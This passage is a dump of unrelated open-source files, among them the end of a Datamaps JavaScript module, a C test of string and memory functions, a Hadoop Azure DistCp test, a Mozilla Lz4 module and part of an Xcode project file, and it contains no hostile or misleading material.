'Layer'] ) {\n layer = this.options[name + 'Layer'];\n options = options || this.options[name + 'Options'];\n }\n else {\n layer = this.addLayer(name);\n this.options[name + 'Layer'] = layer;\n this.options[name + 'Options'] = options;\n }\n pluginFn.apply(this, [layer, data, options]);\n if ( callback ) {\n callback(layer);\n }\n };\n }\n };\n\n // expose library\n if (typeof exports === 'object') {\n d3 = require('d3');\n topojson = require('topojson');\n module.exports = Datamap;\n }\n else if ( typeof define === \"function\" && define.amd ) {\n define( \"datamaps\", [\"require\", \"d3\", \"topojson\"], function(require) {\n d3 = require('d3');\n topojson = require('topojson');\n\n return Datamap;\n });\n }\n else {\n window.Datamap = window.Datamaps = Datamap;\n }\n\n if ( window.jQuery ) {\n window.jQuery.fn.datamaps = function(options, callback) {\n options = options || {};\n options.element = this[0];\n var datamap = new Datamap(options);\n if ( typeof callback === \"function\" ) {\n callback(datamap, options);\n }\n return this;\n };\n }\n})();\n"} +{"text": "/*\n * Copyright (C) 2002 by Red Hat, Incorporated. All rights reserved.\n *\n * Permission to use, copy, modify, and distribute this software\n * is freely granted, provided that this notice is preserved.\n */\n\n#include \n#include \n#include \n#include \n\n#define MAX_1 50\n#define memcmp memcmp_P\n#define memcpy memcpy_P\n#define memmem memmem_P\n#define memchr memchr_P\n#define strcat strcat_P\n#define strncat strncat_P\n#define strcpy strcpy_P\n#define strncpy strncpy_P\n#define strlen strlen_P\n#define strnlen strnlen_P\n#define strcmp strcmp_P\n#define strncmp strncmp_P\n\n#define MAX_2 (2 * MAX_1 + MAX_1 / 10)\n\nvoid eprintf (int line, char *result, char *expected, int size)\n{\n if (size != 0)\n printf (\"Failure at line %d, result is <%.*s>, should be <%s> of size %d\\n\",\n line, size, result, expected, size);\n else\n printf (\"Failure at line %d, result is <%s>, should be <%s>\\n\",\n line, result, expected);\n}\n\nvoid mycopy (char *target, char *source, int size)\n{\n int i;\n\n for (i = 0; i < size; ++i)\n {\n target[i] = source[i];\n }\n}\n\nvoid myset (char *target, char ch, int size)\n{\n int i;\n \n for (i = 0; i < size; ++i)\n {\n target[i] = ch;\n }\n}\n\nvoid tstring_main(void)\n{\n char target[MAX_1] = \"A\";\n char first_char;\n char second_char;\n char array[] = \"abcdefghijklmnopqrstuvwxz\";\n char array2[] = \"0123456789!@#$%^&*(\";\n char buffer2[MAX_1];\n char buffer3[MAX_1];\n char buffer4[MAX_1];\n char buffer5[MAX_2];\n char buffer6[MAX_2];\n char buffer7[MAX_2];\n char expected[MAX_1];\n char *tmp1, *tmp2, *tmp3, *tmp4, *tmp5, *tmp6, *tmp7;\n int i, j, k, x, z, align_test_iterations;\n z = 0;\n \n int test_failed = 0;\n\n tmp1 = target;\n tmp2 = buffer2;\n tmp3 = buffer3;\n tmp4 = buffer4;\n tmp5 = buffer5;\n tmp6 = buffer6;\n tmp7 = buffer7;\n\n tmp2[0] = 'Z';\n tmp2[1] = '\\0';\n\n if (memset (target, 'X', 0) != target ||\n memcpy (target, \"Y\", 0) != target ||\n memmove (target, \"K\", 0) != target ||\n strncpy (tmp2, \"4\", 0) != tmp2 ||\n strncat (tmp2, \"123\", 0) != tmp2 ||\n strcat (target, \"\") != target)\n {\n eprintf (__LINE__, target, \"A\", 0);\n test_failed = 1;\n }\n\n if (strcmp (target, \"A\") || strlen(target) != 1 || memchr (target, 'A', 0) != NULL\n || memcmp (target, \"J\", 0) || strncmp (target, \"A\", 1) || strncmp (target, \"J\", 0) ||\n tmp2[0] != 'Z' || tmp2[1] != '\\0')\n {\n eprintf (__LINE__, target, \"A\", 0);\n test_failed = 1;\n }\n\n tmp2[2] = 'A';\n if (strcpy (target, \"\") != target ||\n strncpy (tmp2, \"\", 4) != tmp2 ||\n strcat (target, \"\") != target)\n {\n eprintf (__LINE__, target, \"\", 0);\n test_failed = 1;\n }\n\n if (target[0] != '\\0' || strncmp (target, \"\", 1) ||\n memcmp (tmp2, \"\\0\\0\\0\\0\", 4))\n {\n eprintf (__LINE__, target, \"\", 0);\n test_failed = 1;\n }\n\n tmp2[2] = 'A';\n if (strncat (tmp2, \"1\", 3) != tmp2 ||\n memcmp (tmp2, \"1\\0A\", 3))\n {\n eprintf (__LINE__, tmp2, \"1\\0A\", 3);\n test_failed = 1;\n }\n\n if (strcpy (tmp3, target) != tmp3 ||\n strcat (tmp3, \"X\") != tmp3 ||\n strncpy (tmp2, \"X\", 2) != tmp2 ||\n memset (target, tmp2[0], 1) != target)\n {\n eprintf (__LINE__, target, \"X\", 0);\n test_failed = 1;\n }\n\n if (strcmp (target, \"X\") || strlen (target) != 1 ||\n memchr (target, 'X', 2) != target ||\n strchr (target, 'X') != target ||\n memchr (target, 'Y', 2) != NULL ||\n strchr (target, 'Y') != NULL ||\n strcmp (tmp3, target) ||\n strncmp (tmp3, target, 2) ||\n memcmp (target, \"K\", 0) ||\n strncmp (target, tmp3, 3))\n {\n eprintf (__LINE__, target, \"X\", 0);\n test_failed = 1;\n }\n\n if (strcpy (tmp3, \"Y\") != tmp3 ||\n strcat (tmp3, \"Y\") != tmp3 ||\n memset (target, 'Y', 2) != target)\n {\n eprintf (__LINE__, target, \"Y\", 0);\n test_failed = 1;\n }\n\n target[2] = '\\0';\n if (memcmp (target, \"YY\", 2) || strcmp (target, \"YY\") ||\n strlen (target) != 2 || memchr (target, 'Y', 2) != target ||\n strcmp (tmp3, target) ||\n strncmp (target, tmp3, 3) ||\n strncmp (target, tmp3, 4) ||\n strncmp (target, tmp3, 2) ||\n strchr (target, 'Y') != target)\n {\n eprintf (__LINE__, target, \"YY\", 2);\n test_failed = 1;\n }\n\n strcpy (target, \"WW\");\n if (memcmp (target, \"WW\", 2) || strcmp (target, \"WW\") ||\n strlen (target) != 2 || memchr (target, 'W', 2) != target ||\n strchr (target, 'W') != target)\n {\n eprintf (__LINE__, target, \"WW\", 2);\n test_failed = 1;\n }\n\n if (strncpy (target, \"XX\", 16) != target ||\n memcmp (target, \"XX\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\", 16))\n {\n eprintf (__LINE__, target, \"XX\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\", 16);\n test_failed = 1;\n }\n\n if (strcpy (tmp3, \"ZZ\") != tmp3 ||\n strcat (tmp3, \"Z\") != tmp3 ||\n memcpy (tmp4, \"Z\", 2) != tmp4 ||\n strcat (tmp4, \"ZZ\") != tmp4 ||\n memset (target, 'Z', 3) != target)\n {\n eprintf (__LINE__, target, \"ZZZ\", 3);\n test_failed = 1;\n }\n\n target[3] = '\\0';\n tmp5[0] = '\\0';\n strncat (tmp5, \"123\", 2);\n if (memcmp (target, \"ZZZ\", 3) || strcmp (target, \"ZZZ\") ||\n strcmp (tmp3, target) || strcmp (tmp4, target) ||\n strncmp (target, \"ZZZ\", 4) || strncmp (target, \"ZZY\", 3) <= 0 ||\n strncmp (\"ZZY\", target, 4) >= 0 ||\n memcmp (tmp5, \"12\", 3) ||\n strlen (target) != 3)\n {\n eprintf (__LINE__, target, \"ZZZ\", 3);\n test_failed = 1;\n }\n\n target[2] = 'K';\n if (memcmp (target, \"ZZZ\", 2) || strcmp (target, \"ZZZ\") >= 0 ||\n memcmp (target, \"ZZZ\", 3) >= 0 || strlen (target) != 3 ||\n memchr (target, 'K', 3) != target + 2 ||\n strncmp (target, \"ZZZ\", 2) || strncmp (target, \"ZZZ\", 4) >= 0 ||\n strchr (target, 'K') != target + 2)\n {\n eprintf (__LINE__, target, \"ZZK\", 3);\n test_failed = 1;\n }\n \n strcpy (target, \"AAA\");\n if (memcmp (target, \"AAA\", 3) || strcmp (target, \"AAA\") ||\n strncmp (target, \"AAA\", 3) ||\n strlen (target) != 3)\n {\n eprintf (__LINE__, target, \"AAA\", 3);\n test_failed = 1;\n }\n \n j = 5;\n while (j < MAX_1)\n {\n for (i = j-1; i <= j+1; ++i)\n {\n\t /* don't bother checking unaligned data in the larger\n\t sizes since it will waste time without performing additional testing */\n\t if ((size_t)i <= 16 * sizeof(long))\n\t {\n\t align_test_iterations = 2*sizeof(long);\n if ((size_t)i <= 2 * sizeof(long) + 1)\n z = 2;\n\t else\n\t z = 2 * sizeof(long);\n }\n\t else\n {\n\t align_test_iterations = 1;\n }\n\n\t for (x = 0; x < align_test_iterations; ++x)\n\t {\n\t tmp1 = target + x;\n\t tmp2 = buffer2 + x;\n\t tmp3 = buffer3 + x;\n\t tmp4 = buffer4 + x;\n\t tmp5 = buffer5 + x;\n\t tmp6 = buffer6 + x;\n\n\t first_char = array[i % (sizeof(array) - 1)];\n\t second_char = array2[i % (sizeof(array2) - 1)];\n\t memset (tmp1, first_char, i);\n\t mycopy (tmp2, tmp1, i);\n\t myset (tmp2 + z, second_char, i - z - 1);\n\t if (memcpy (tmp1 + z, tmp2 + z, i - z - 1) != tmp1 + z)\n\t\t{\n\t\t printf (\"error at line %d\\n\", __LINE__);\n\t\t test_failed = 1;\n\t\t}\n\n\t tmp1[i] = '\\0';\n\t tmp2[i] = '\\0';\n\t if (strcpy (expected, tmp2) != expected)\n\t\t{\n\t\t printf (\"error at line %d\\n\", __LINE__);\n\t\t test_failed = 1;\n\t\t}\n\t tmp2[i-z] = first_char + 1;\n\t if (memmove (tmp2 + z + 1, tmp2 + z, i - z - 1) != tmp2 + z + 1 ||\n\t\t memset (tmp3, first_char, i) != tmp3)\n\t\t{\n\t\t printf (\"error at line %d\\n\", __LINE__);\n\t\t test_failed = 1;\n\t\t}\n\n\t myset (tmp4, first_char, i);\n\t tmp5[0] = '\\0';\n\t if (strncpy (tmp5, tmp1, i+1) != tmp5 ||\n\t\t strcat (tmp5, tmp1) != tmp5)\n\t\t{\n\t\t printf (\"error at line %d\\n\", __LINE__);\n\t\t test_failed = 1;\n\t\t}\n\t mycopy (tmp6, tmp1, i);\n\t mycopy (tmp6 + i, tmp1, i + 1);\n\n\t tmp7[2*i+z] = second_char;\n strcpy (tmp7, tmp1);\n \n\t (void)strchr (tmp1, second_char);\n \n\t if (memcmp (tmp1, expected, i) || strcmp (tmp1, expected) ||\n\t\t strncmp (tmp1, expected, i) ||\n strncmp (tmp1, expected, i+1) ||\n\t\t strcmp (tmp1, tmp2) >= 0 || memcmp (tmp1, tmp2, i) >= 0 ||\n\t\t strncmp (tmp1, tmp2, i+1) >= 0 ||\n\t\t (int)strlen (tmp1) != i || memchr (tmp1, first_char, i) != tmp1 ||\n\t\t strchr (tmp1, first_char) != tmp1 ||\n\t\t memchr (tmp1, second_char, i) != tmp1 + z ||\n\t\t strchr (tmp1, second_char) != tmp1 + z ||\n\t\t strcmp (tmp5, tmp6) ||\n\t\t strncat (tmp7, tmp1, i+2) != tmp7 ||\n\t\t strcmp (tmp7, tmp6) ||\n\t\t tmp7[2*i+z] != second_char)\n\t\t{\n\t\t eprintf (__LINE__, tmp1, expected, 0);\n\t\t printf (\"x is %d\\n\",x);\n\t\t printf (\"i is %d\\n\", i);\n\t\t printf (\"tmp1 is <%p>\\n\", tmp1);\n\t\t printf (\"tmp5 is <%p> <%s>\\n\", tmp5, tmp5);\n\t\t printf (\"tmp6 is <%p> <%s>\\n\", tmp6, tmp6);\n\t\t test_failed = 1;\n\t\t}\n\n\t for (k = 1; k <= align_test_iterations && k <= i; ++k)\n\t\t{\n\t\t if (memcmp (tmp3, tmp4, i - k + 1) != 0 ||\n\t\t strncmp (tmp3, tmp4, i - k + 1) != 0)\n\t\t {\n\t\t printf (\"Failure at line %d, comparing %.*s with %.*s\\n\",\n\t\t\t __LINE__, i, tmp3, i, tmp4);\n\t\t test_failed = 1;\n\t\t }\n\t\t tmp4[i-k] = first_char + 1;\n\t\t if (memcmp (tmp3, tmp4, i) >= 0 ||\n\t\t strncmp (tmp3, tmp4, i) >= 0 ||\n\t\t memcmp (tmp4, tmp3, i) <= 0 ||\n\t\t strncmp (tmp4, tmp3, i) <= 0)\n\t\t {\n\t\t printf (\"Failure at line %d, comparing %.*s with %.*s\\n\",\n\t\t\t __LINE__, i, tmp3, i, tmp4);\n\t\t test_failed = 1;\n\t\t }\n\t\t tmp4[i-k] = first_char;\n\t\t}\n\t } \n }\n j = ((2 * j) >> 2) << 2;\n }\n\n if (test_failed)\n abort();\n\n printf(\"ok\\n\"); \n}\n"} +{"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.apache.hadoop.fs.azure.contract;\n\nimport org.apache.hadoop.conf.Configuration;\nimport org.apache.hadoop.fs.azure.integration.AzureTestConstants;\nimport org.apache.hadoop.tools.contract.AbstractContractDistCpTest;\n\nimport static org.apache.hadoop.fs.azure.integration.AzureTestUtils.assumeScaleTestsEnabled;\n\n/**\n * Contract test suite covering WASB integration with DistCp.\n */\npublic class ITestAzureNativeContractDistCp extends AbstractContractDistCpTest {\n\n @Override\n protected int getTestTimeoutMillis() {\n return AzureTestConstants.SCALE_TEST_TIMEOUT_MILLIS;\n }\n\n @Override\n protected NativeAzureFileSystemContract createContract(Configuration conf) {\n return new NativeAzureFileSystemContract(conf);\n }\n\n @Override\n public void setup() throws Exception {\n super.setup();\n assumeScaleTestsEnabled(getContract().getConf());\n }\n}\n"} +{"text": "/*\nCopyright The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Code generated by client-gen. DO NOT EDIT.\n\npackage v1\n\ntype StorageClassExpansion interface{}\n"} +{"text": "4.23.1\n"} +{"text": "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n\"use strict\";\n\nvar SharedAll;\nvar Primitives;\nif (typeof Components != \"undefined\") {\n let Cu = Components.utils;\n SharedAll = {};\n Cu.import(\"resource://gre/modules/osfile/osfile_shared_allthreads.jsm\", SharedAll);\n Cu.import(\"resource://gre/modules/lz4_internal.js\");\n Cu.import(\"resource://gre/modules/ctypes.jsm\");\n\n this.EXPORTED_SYMBOLS = [\n \"Lz4\"\n ];\n this.exports = {};\n} else if (typeof module != \"undefined\" && typeof require != \"undefined\") {\n SharedAll = require(\"resource://gre/modules/osfile/osfile_shared_allthreads.jsm\");\n Primitives = require(\"resource://gre/modules/lz4_internal.js\");\n} else {\n throw new Error(\"Please load this module with Component.utils.import or with require()\");\n}\n\nconst MAGIC_NUMBER = new Uint8Array([109, 111, 122, 76, 122, 52, 48, 0]); // \"mozLz4a\\0\"\n\nconst BYTES_IN_SIZE_HEADER = ctypes.uint32_t.size;\n\nconst HEADER_SIZE = MAGIC_NUMBER.byteLength + BYTES_IN_SIZE_HEADER;\n\nconst EXPECTED_HEADER_TYPE = new ctypes.ArrayType(ctypes.uint8_t, HEADER_SIZE);\nconst EXPECTED_SIZE_BUFFER_TYPE = new ctypes.ArrayType(ctypes.uint8_t, BYTES_IN_SIZE_HEADER);\n\n/**\n * An error during (de)compression\n *\n * @param {string} operation The name of the operation (\"compress\", \"decompress\")\n * @param {string} reason A reason to be used when matching errors. Must start\n * with \"because\", e.g. \"becauseInvalidContent\".\n * @param {string} message A human-readable message.\n */\nfunction LZError(operation, reason, message) {\n SharedAll.OSError.call(this);\n this.operation = operation;\n this[reason] = true;\n this.message = message;\n}\nLZError.prototype = Object.create(SharedAll.OSError);\nLZError.prototype.toString = function toString() {\n return this.message;\n};\nexports.Error = LZError;\n\n/**\n * Compress a block to a form suitable for writing to disk.\n *\n * Compatibility note: For the moment, we are basing our code on lz4\n * 1.3, which does not specify a *file* format. Therefore, we define\n * our own format. Once lz4 defines a complete file format, we will\n * migrate both |compressFileContent| and |decompressFileContent| to this file\n * format. For backwards-compatibility, |decompressFileContent| will however\n * keep the ability to decompress files provided with older versions of\n * |compressFileContent|.\n *\n * Compressed files have the following layout:\n *\n * | MAGIC_NUMBER (8 bytes) | content size (uint32_t, little endian) | content, as obtained from lz4_compress |\n *\n * @param {TypedArray|void*} buffer The buffer to write to the disk.\n * @param {object=} options An object that may contain the following fields:\n * - {number} bytes The number of bytes to read from |buffer|. If |buffer|\n * is an |ArrayBuffer|, |bytes| defaults to |buffer.byteLength|. If\n * |buffer| is a |void*|, |bytes| MUST be provided.\n * @return {Uint8Array} An array of bytes suitable for being written to the\n * disk.\n */\nfunction compressFileContent(array, options = {}) {\n // Prepare the output array\n let inputBytes;\n if (SharedAll.isTypedArray(array) && !(options && \"bytes\" in options)) {\n inputBytes = array.byteLength;\n } else if (options && options.bytes) {\n inputBytes = options.bytes;\n } else {\n throw new TypeError(\"compressFileContent requires a size\");\n }\n let maxCompressedSize = Primitives.maxCompressedSize(inputBytes);\n let outputArray = new Uint8Array(HEADER_SIZE + maxCompressedSize);\n\n // Compress to output array\n let payload = new Uint8Array(outputArray.buffer, outputArray.byteOffset + HEADER_SIZE);\n let compressedSize = Primitives.compress(array, inputBytes, payload);\n\n // Add headers\n outputArray.set(MAGIC_NUMBER);\n let view = new DataView(outputArray.buffer);\n view.setUint32(MAGIC_NUMBER.byteLength, inputBytes, true);\n\n return new Uint8Array(outputArray.buffer, 0, HEADER_SIZE + compressedSize);\n}\nexports.compressFileContent = compressFileContent;\n\nfunction decompressFileContent(array, options = {}) {\n let bytes = SharedAll.normalizeBufferArgs(array, options.bytes || null);\n if (bytes < HEADER_SIZE) {\n throw new LZError(\"decompress\", \"becauseLZNoHeader\",\n `Buffer is too short (no header) - Data: ${ options.path || array }`);\n }\n\n // Read headers\n let expectMagicNumber = new DataView(array.buffer, 0, MAGIC_NUMBER.byteLength);\n for (let i = 0; i < MAGIC_NUMBER.byteLength; ++i) {\n if (expectMagicNumber.getUint8(i) != MAGIC_NUMBER[i]) {\n throw new LZError(\"decompress\", \"becauseLZWrongMagicNumber\",\n `Invalid header (no magic number) - Data: ${ options.path || array }`);\n }\n }\n\n let sizeBuf = new DataView(array.buffer, MAGIC_NUMBER.byteLength, BYTES_IN_SIZE_HEADER);\n let expectDecompressedSize =\n sizeBuf.getUint8(0) +\n (sizeBuf.getUint8(1) << 8) +\n (sizeBuf.getUint8(2) << 16) +\n (sizeBuf.getUint8(3) << 24);\n if (expectDecompressedSize == 0) {\n // The underlying algorithm cannot handle a size of 0\n return new Uint8Array(0);\n }\n\n // Prepare the input buffer\n let inputData = new DataView(array.buffer, HEADER_SIZE);\n\n // Prepare the output buffer\n let outputBuffer = new Uint8Array(expectDecompressedSize);\n let decompressedBytes = (new SharedAll.Type.size_t.implementation(0));\n\n // Decompress\n let success = Primitives.decompress(inputData, bytes - HEADER_SIZE,\n outputBuffer, outputBuffer.byteLength,\n decompressedBytes.address());\n if (!success) {\n throw new LZError(\"decompress\", \"becauseLZInvalidContent\",\n `Invalid content: Decompression stopped at ${decompressedBytes.value} - Data: ${ options.path || array }`);\n }\n return new Uint8Array(outputBuffer.buffer, outputBuffer.byteOffset, decompressedBytes.value);\n}\nexports.decompressFileContent = decompressFileContent;\n\nif (typeof Components != \"undefined\") {\n this.Lz4 = {\n compressFileContent: compressFileContent,\n decompressFileContent: decompressFileContent\n };\n}\n"} +{"text": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 46;\n\tobjects = {\n\n/* Begin PBXBuildFile section */\n\t\t1498D2341E8E89220040F4C2 /* GeneratedPluginRegistrant.m in Sources */ = {isa = PBXBuildFile; fileRef = 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */; };\n\t\t3B3967161E833CAA004F5970 /* AppFrameworkInfo.plist in Resources */ = {isa = PBXBuildFile; fileRef = 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */; };\n\t\t3B80C3941E831B6300D905FE /* App.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 3B80C3931E831B6300D905FE /* App.framework */; };\n\t\t3B80C3951E831B6300D905FE /* App.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 3B80C3931E831B6300D905FE /* App.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; };\n\t\t57B5A76EE345421FE6E35406 /* libPods-Runner.a in Frameworks */ = {isa = PBXBuildFile; fileRef = AEED61E4CDD8A6E83F66DE8D /* libPods-Runner.a */; };\n\t\t9705A1C61CF904A100538489 /* Flutter.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 9740EEBA1CF902C7004384FC /* Flutter.framework */; };\n\t\t9705A1C71CF904A300538489 /* Flutter.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 9740EEBA1CF902C7004384FC /* Flutter.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; };\n\t\t9740EEB41CF90195004384FC /* Debug.xcconfig in Resources */ = {isa = PBXBuildFile; fileRef = 9740EEB21CF90195004384FC /* Debug.xcconfig */; };\n\t\t978B8F6F1D3862AE00F588F7 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 7AFFD8EE1D35381100E5BB4D /* AppDelegate.m */; };\n\t\t97C146F31CF9000F007C117D /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 97C146F21CF9000F007C117D /* main.m */; };\n\t\t97C146FC1CF9000F007C117D /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FA1CF9000F007C117D /* Main.storyboard */; };\n\t\t97C146FE1CF9000F007C117D /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FD1CF9000F007C117D /* Assets.xcassets */; };\n\t\t97C147011CF9000F007C117D /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */; };\n/* End PBXBuildFile section */\n\n/* Begin PBXCopyFilesBuildPhase section */\n\t\t9705A1C41CF9048500538489 /* Embed Frameworks */ = {\n\t\t\tisa = PBXCopyFilesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tdstPath = \"\";\n\t\t\tdstSubfolderSpec = 10;\n\t\t\tfiles = (\n\t\t\t\t3B80C3951E831B6300D905FE /* App.framework in Embed Frameworks */,\n\t\t\t\t9705A1C71CF904A300538489 /* Flutter.framework in Embed Frameworks */,\n\t\t\t);\n\t\t\tname = \"Embed Frameworks\";\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXCopyFilesBuildPhase section */\n\n/* Begin PBXFileReference section */\n\t\t1498D2321E8E86230040F4C2 /* GeneratedPluginRegistrant.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GeneratedPluginRegistrant.h; sourceTree = \"\"; };\n\t\t1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = GeneratedPluginRegistrant.m; sourceTree = \"\"; };\n\t\t3702C9B9947D8A4B712F5FA8 /* Pods-Runner.profile.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = \"Pods-Runner.profile.xcconfig\"; path = \"Target Support Files/Pods-Runner/Pods-Runner.profile.xcconfig\"; sourceTree = \"\"; };\n\t\t3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; name = AppFrameworkInfo.plist; path = Flutter/AppFrameworkInfo.plist; sourceTree = \"\"; };\n\t\t3B80C3931E831B6300D905FE /* App.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = App.framework; path = Flutter/App.framework; sourceTree = \"\"; };\n\t\t7AFA3C8E1D35360C0083082E /* Release.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; name = Release.xcconfig; path = Flutter/Release.xcconfig; sourceTree = \"\"; };\n\t\t7AFFD8ED1D35381100E5BB4D /* AppDelegate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = \"\"; };\n\t\t7AFFD8EE1D35381100E5BB4D /* AppDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = \"\"; };\n\t\t9740EEB21CF90195004384FC /* Debug.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Debug.xcconfig; path = Flutter/Debug.xcconfig; sourceTree = \"\"; };\n\t\t9740EEB31CF90195004384FC /* Generated.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Generated.xcconfig; path = Flutter/Generated.xcconfig; sourceTree = \"\"; };\n\t\t9740EEBA1CF902C7004384FC /* Flutter.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Flutter.framework; path = Flutter/Flutter.framework; sourceTree = \"\"; };\n\t\t97C146EE1CF9000F007C117D /* Runner.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Runner.app; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\t97C146F21CF9000F007C117D /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = \"\"; };\n\t\t97C146FB1CF9000F007C117D /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = \"\"; };\n\t\t97C146FD1CF9000F007C117D /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = \"\"; };\n\t\t97C147001CF9000F007C117D /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = \"\"; };\n\t\t97C147021CF9000F007C117D /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = \"\"; };\n\t\tAEED61E4CDD8A6E83F66DE8D /* libPods-Runner.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = \"libPods-Runner.a\"; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\tC4BB28EC7A0B68C2EB1D8E4F /* Pods-Runner.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = \"Pods-Runner.debug.xcconfig\"; path = \"Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig\"; sourceTree = \"\"; };\n\t\tFECFF16CBE0F36A0FA3147B1 /* Pods-Runner.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = \"Pods-Runner.release.xcconfig\"; path = \"Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig\"; sourceTree = \"\"; };\n/* End PBXFileReference section */\n\n/* Begin PBXFrameworksBuildPhase section */\n\t\t97C146EB1CF9000F007C117D /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t9705A1C61CF904A100538489 /* Flutter.framework in Frameworks */,\n\t\t\t\t3B80C3941E831B6300D905FE /* App.framework in Frameworks */,\n\t\t\t\t57B5A76EE345421FE6E35406 /* libPods-Runner.a in Frameworks */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXFrameworksBuildPhase section */\n\n/* Begin PBXGroup section */\n\t\t07FC1038526D2F91D8FFF271 /* Pods */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC4BB28EC7A0B68C2EB1D8E4F /* Pods-Runner.debug.xcconfig */,\n\t\t\t\tFECFF16CBE0F36A0FA3147B1 /* Pods-Runner.release.xcconfig */,\n\t\t\t\t3702C9B9947D8A4B712F5FA8 /* Pods-Runner.profile.xcconfig */,\n\t\t\t);\n\t\t\tname = Pods;\n\t\t\tpath = Pods;\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\t9740EEB11CF90186004384FC /* Flutter */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t3B80C3931E831B6300D905FE /* App.framework */,\n\t\t\t\t3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */,\n\t\t\t\t9740EEBA1CF902C7004384FC /* Flutter.framework */,\n\t\t\t\t9740EEB21CF90195004384FC /* Debug.xcconfig */,\n\t\t\t\t7AFA3C8E1D35360C0083082E /* Release.xcconfig */,\n\t\t\t\t9740EEB31CF90195004384FC /* Generated.xcconfig */,\n\t\t\t);\n\t\t\tname = Flutter;\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\t97C146E51CF9000F007C117D = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t9740EEB11CF90186004384FC /* Flutter */,\n\t\t\t\t97C146F01CF9000F007C117D /* Runner */,\n\t\t\t\t97C146EF1CF9000F007C117D /* Products 